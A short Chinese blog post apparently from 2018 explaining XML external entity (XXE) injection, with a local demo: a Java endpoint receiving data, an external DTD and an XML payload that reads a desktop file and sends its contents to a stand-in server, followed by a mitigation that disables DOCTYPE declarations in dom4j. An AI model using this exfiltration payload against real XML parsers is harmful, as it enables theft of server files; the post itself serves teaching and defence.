xxe XML外部实体注入

xml,允许我们存储和传输数据。也提供了DTD,允许我们进行文档类型定义,外部DTD,定义的实体可以窃取服务器信息,上传至指定的服务器上。

 

接下来,就模拟一下:xxe,窃取信息服务器信息,上传至指定服务器。

 

1.编写接收接口:

   @RequestMapping("evil/{content}")
    @ResponseBody
    public void evil(@PathVariable String content,HttpServletResponse response) {
        LOGGER.info("content:"+content);
        ResponseUtil.writeHtml(response, content);
    }

2.编写外部dtd:

<!ENTITY % shell "<!ENTITY upload SYSTEM 'http://127.0.0.1:8096/evil/%file;'>">
%shell;

3.编写xml请求数据:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % file SYSTEM "file:///Users/my_mac/Desktop/txt">
    <!ENTITY % xxe SYSTEM "http://127.0.0.1:8096/xxe.dtd">
    %xxe;
]>
<value>&upload;</value>

以上就是模拟了,xml数据,获取我桌面txt文件内容,上传至http://127.0.0.1:8096/evil,接口的示例。

 

微信支付回调函数使用的就是xml传输数据。今年就暴漏出了,xxe攻击的风险。目前已经修复。阻止xxe攻击,一般只要禁止外部实体的使用就可以了。

 

举一例:

org.dom4j.io.SAXReader

SAXReader reader = new SAXReader();



reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);  //设置禁止使用doctype声明,就可以阻止此类攻击

 

posted @ 2018-10-19 09:40  曹庆源  阅读(789)  评论(0编辑  收藏  举报